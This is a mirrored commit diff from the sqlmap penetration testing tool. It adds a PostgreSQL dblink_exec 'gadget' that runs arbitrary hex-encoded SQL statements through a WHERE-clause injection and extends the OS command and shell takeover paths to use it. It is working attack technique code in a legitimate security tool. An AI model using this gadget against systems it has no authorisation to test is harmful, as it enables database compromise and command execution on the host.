mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-09-27 13:34:33 +00:00
Adding gadget fallback for non-query statement execution without stacked queries (PostgreSQL dblink)
This commit is contained in:
parent
8a3b312950
commit
529fc7aebb
7 changed files with 58 additions and 3 deletions
|
|
@ -137,6 +137,10 @@
|
|||
<inband query="SELECT n.nspname||'.'||p.proname||' ['||(CASE p.provolatile WHEN 'v' THEN 'VOLATILE' WHEN 's' THEN 'STABLE' ELSE 'IMMUTABLE' END)||(CASE WHEN p.prosecdef THEN '/DEFINER' ELSE '/INVOKER' END)||']: '||p.prosrc FROM pg_proc p JOIN pg_namespace n ON p.pronamespace=n.oid WHERE n.nspname NOT IN ('pg_catalog','information_schema')"/>
|
||||
<blind query="SELECT n.nspname||'.'||p.proname||' ['||(CASE p.provolatile WHEN 'v' THEN 'VOLATILE' WHEN 's' THEN 'STABLE' ELSE 'IMMUTABLE' END)||(CASE WHEN p.prosecdef THEN '/DEFINER' ELSE '/INVOKER' END)||']: '||p.prosrc FROM pg_proc p JOIN pg_namespace n ON p.pronamespace=n.oid WHERE n.nspname NOT IN ('pg_catalog','information_schema') ORDER BY n.nspname,p.proname OFFSET %d LIMIT 1" count="SELECT COUNT(*) FROM pg_proc p JOIN pg_namespace n ON p.pronamespace=n.oid WHERE n.nspname NOT IN ('pg_catalog','information_schema')"/>
|
||||
</procedures>
|
||||
<gadgets>
|
||||
<!-- Out-of-technique statement execution when stacked queries are not available (e.g. WHERE clause injection). The '%s' placeholder receives the hex-encoded statement, rebuilt server-side to survive string escaping. -->
|
||||
<dblink check="(SELECT COUNT(*) FROM pg_extension WHERE extname='dblink')>0" command="(SELECT LENGTH(dblink_exec('dbname='||current_database(),CONVERT_FROM(DECODE('%s','hex'),'UTF8'))))"/>
|
||||
</gadgets>
|
||||
<dbs>
|
||||
<inband query="SELECT DISTINCT(schemaname) FROM pg_tables"/>
|
||||
<blind query="SELECT DISTINCT(schemaname) FROM pg_tables ORDER BY schemaname OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(schemaname)) FROM pg_tables"/>
|
||||
|
|
|
|||
|
|
@ -2255,6 +2255,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
|||
kb.forkNote = None
|
||||
kb.futileUnion = None
|
||||
kb.fuzzUnionTest = None
|
||||
kb.gadget = None
|
||||
kb.heavilyDynamic = False
|
||||
kb.headersFile = None
|
||||
kb.headersFp = {}
|
||||
|
|
|
|||
|
|
@ -20,7 +20,7 @@ from lib.core.enums import OS
|
|||
from thirdparty import six
|
||||
|
||||
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
||||
VERSION = "1.10.8.47"
|
||||
VERSION = "1.10.8.48"
|
||||
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
||||
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
||||
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
||||
|
|
|
|||
|
|
@ -48,6 +48,9 @@ from lib.core.data import conf
|
|||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import queries
|
||||
from lib.core.convert import encodeHex
|
||||
from lib.core.convert import getBytes
|
||||
from lib.core.convert import getUnicode
|
||||
from lib.core.decorators import lockedmethod
|
||||
from lib.core.decorators import stackedmethod
|
||||
from lib.core.dicts import FROM_DUMMY_TABLE
|
||||
|
|
@ -834,6 +837,36 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
|
|||
|
||||
return extractExpectedValue(value, expected)
|
||||
|
||||
def getGadget():
|
||||
"""
|
||||
Returns a 'gadget' (a side-effecting scalar expression usable through a
|
||||
regular - e.g. boolean/time-based - injection) that can run an arbitrary
|
||||
statement when stacked queries are not available (e.g. dblink_exec() on
|
||||
PostgreSQL). Detection is done once and cached inside 'kb.gadget'.
|
||||
"""
|
||||
|
||||
if kb.gadget is None:
|
||||
kb.gadget = False
|
||||
|
||||
dbms = Backend.getIdentifiedDbms()
|
||||
|
||||
if dbms is not None and "gadgets" in queries[dbms]:
|
||||
for name, gadget in queries[dbms].gadgets.__dict__.items():
|
||||
try:
|
||||
available = checkBooleanExpression(gadget.check)
|
||||
except Exception:
|
||||
available = False
|
||||
|
||||
if available:
|
||||
infoMsg = "using '%s' gadget to run statement(s) as " % name
|
||||
infoMsg += "stacked queries are not available"
|
||||
logger.info(infoMsg)
|
||||
|
||||
kb.gadget = gadget
|
||||
break
|
||||
|
||||
return kb.gadget or None
|
||||
|
||||
def goStacked(expression, silent=False):
|
||||
if PAYLOAD.TECHNIQUE.STACKED in kb.injection.data:
|
||||
setTechnique(PAYLOAD.TECHNIQUE.STACKED)
|
||||
|
|
@ -849,6 +882,18 @@ def goStacked(expression, silent=False):
|
|||
if conf.direct:
|
||||
return direct(expression)
|
||||
|
||||
if PAYLOAD.TECHNIQUE.STACKED not in kb.injection.data:
|
||||
gadget = getGadget()
|
||||
|
||||
if gadget:
|
||||
warnMsg = "statement execution through a gadget is best-effort "
|
||||
warnMsg += "and its result (if any) can not be retrieved"
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
|
||||
payload = getUnicode(gadget.command) % getUnicode(encodeHex(getBytes(expression), binary=False))
|
||||
checkBooleanExpression("(%s) IS NOT NULL" % payload)
|
||||
return
|
||||
|
||||
query = agent.prefixQuery(";%s" % expression)
|
||||
query = agent.suffixQuery(query)
|
||||
payload = agent.payload(newValue=query)
|
||||
|
|
|
|||
|
|
@ -102,7 +102,7 @@ class Takeover(GenericTakeover):
|
|||
def copyExecCmd(self, cmd):
|
||||
output = None
|
||||
|
||||
if isStackingAvailable() or conf.direct:
|
||||
if isStackingAvailable() or conf.direct or inject.getGadget():
|
||||
# Reference: https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5
|
||||
self._forgedCmd = "DROP TABLE IF EXISTS %s;" % self.cmdTblName
|
||||
self._forgedCmd += "CREATE TABLE %s(%s text);" % (self.cmdTblName, self.tblField)
|
||||
|
|
|
|||
|
|
@ -71,7 +71,7 @@ class Custom(object):
|
|||
output[i] = joinValue(output[i])
|
||||
|
||||
return output
|
||||
elif not isStackingAvailable() and not conf.direct:
|
||||
elif not isStackingAvailable() and not conf.direct and not inject.getGadget():
|
||||
warnMsg = "execution of non-query SQL statements is only "
|
||||
warnMsg += "available when stacked queries are supported"
|
||||
logger.warning(warnMsg)
|
||||
|
|
|
|||
|
|
@ -27,6 +27,7 @@ from lib.core.exception import SqlmapNotVulnerableException
|
|||
from lib.core.exception import SqlmapSystemException
|
||||
from lib.core.exception import SqlmapUndefinedMethod
|
||||
from lib.core.exception import SqlmapUnsupportedDBMSException
|
||||
from lib.request import inject
|
||||
from lib.takeover.abstraction import Abstraction
|
||||
from lib.takeover.icmpsh import ICMPsh
|
||||
from lib.takeover.metasploit import Metasploit
|
||||
|
|
@ -46,6 +47,8 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry):
|
|||
def osCmd(self):
|
||||
if isStackingAvailable() or conf.direct:
|
||||
web = False
|
||||
elif Backend.isDbms(DBMS.PGSQL) and inject.getGadget():
|
||||
web = False
|
||||
elif not isStackingAvailable() and Backend.isDbms(DBMS.MYSQL):
|
||||
infoMsg = "going to use a web backdoor for command execution"
|
||||
logger.info(infoMsg)
|
||||
|
|
@ -68,6 +71,8 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry):
|
|||
def osShell(self):
|
||||
if isStackingAvailable() or conf.direct:
|
||||
web = False
|
||||
elif Backend.isDbms(DBMS.PGSQL) and inject.getGadget():
|
||||
web = False
|
||||
elif not isStackingAvailable() and Backend.isDbms(DBMS.MYSQL):
|
||||
infoMsg = "going to use a web backdoor for command prompt"
|
||||
logger.info(infoMsg)
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue